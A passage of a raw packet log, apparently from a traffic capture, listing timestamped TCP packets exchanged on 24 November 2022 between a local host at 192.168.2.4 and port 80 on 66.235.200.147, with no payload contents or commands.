Nov 24, 2022 13:27:53.275830984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275847912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275875092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275876045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275892973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275904894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275921106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275932074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275957108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275958061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275980949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.275985003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.275995970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276014090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276021957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276041985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276071072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276088953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276101112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276127100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276128054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276143074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276156902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276168108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276184082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276209116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276220083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276232958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276246071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276256084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276279926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276293039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276304960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276316881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276329041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276352882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276352882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276366949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276381969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276405096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276406050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276421070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276432991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276458025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276460886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276474953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276492119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276505947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276521921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276552916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276566982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276582003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276603937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276611090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276629925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276640892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276669025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276689053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276695967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276715040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276725054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276753902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276767015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276782990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276793003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276812077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276827097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276839972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276859999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276868105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276874065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276896000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276916981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276923895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276930094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276948929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276968002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276973009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.276983023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.276997089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277019978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277021885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277036905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277043104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277056932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277066946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277082920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277090073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277098894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277112961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277137995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277137995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277151108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277163029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277192116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277208090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277208090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277218103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277245998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277256012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277273893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277285099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277301073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277312040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277328968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277338028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277358055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277371883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277388096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277395964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277416945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277422905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277445078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277453899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277472973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277479887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277499914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277508974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277525902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277534962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277554035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277564049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277582884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277610064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277623892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277637959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277657032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277667046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277681112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277693033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277704000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277719975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277730942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277745008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277759075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277767897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277781963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277791977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277806044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277817011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277829885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277842999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277859926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277868032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277885914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277893066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277905941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277918100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277930975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277944088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277954102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.277971983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.277981997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278001070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278009892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278031111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278037071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278058052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278064966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278085947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278091908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278115034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278120995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278143883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278151989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278163910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278171062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278184891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278198004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278224945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278227091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278243065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278251886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278260946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278280020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278286934 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278306961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278314114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278336048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278342009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278364897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278373003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278393984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278400898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278417110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278423071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278429985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278449059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278471947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278474092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278484106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278498888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278510094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278522015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278537989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278548002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278558969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278573036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278584957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278598070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278611898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278620958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278635025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278645992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278657913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278669119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278682947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278696060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278707981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278723955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278736115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278752089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278759956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278780937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278790951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278809071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278820992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278836012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278846025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278863907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278872967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278907061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278907061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278942108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278944016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278955936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278970957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.278991938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.278999090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279015064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279026985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279040098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279056072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279063940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279083014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279109001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279117107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279131889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279135942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279161930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279162884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279187918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279189110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279203892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279215097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279230118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279239893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279256105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279267073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279284000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279292107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279309034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279318094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279331923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279340982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279356956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279366016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279391050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279417038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279418945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279432058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279441118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279462099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279470921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279484987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279495001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279505968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279520035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279532909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279546976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279557943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279570103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279589891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279594898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279616117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279620886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279647112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279649019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279661894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279676914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279691935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279704094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279717922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279732943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279762983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279771090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279792070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279799938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279820919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279828072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279848099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279856920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279876947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279882908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279905081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279911041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279932976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279939890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279959917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279968023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.279988050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.279994011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280014992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280021906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280041933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280047894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280070066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280076981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280097961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280107021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280128002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280136108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280153990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280164003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280179977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280189991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280208111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280216932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280234098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280246019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280260086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280272961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280283928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280296087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280308008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280319929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280354977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280369043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280380011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280390024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280402899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280405045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280416965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280426025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280447960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280450106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280471087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280472994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.280484915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.280499935 CET	80	49702	66.235.200.147	192.168.2.4
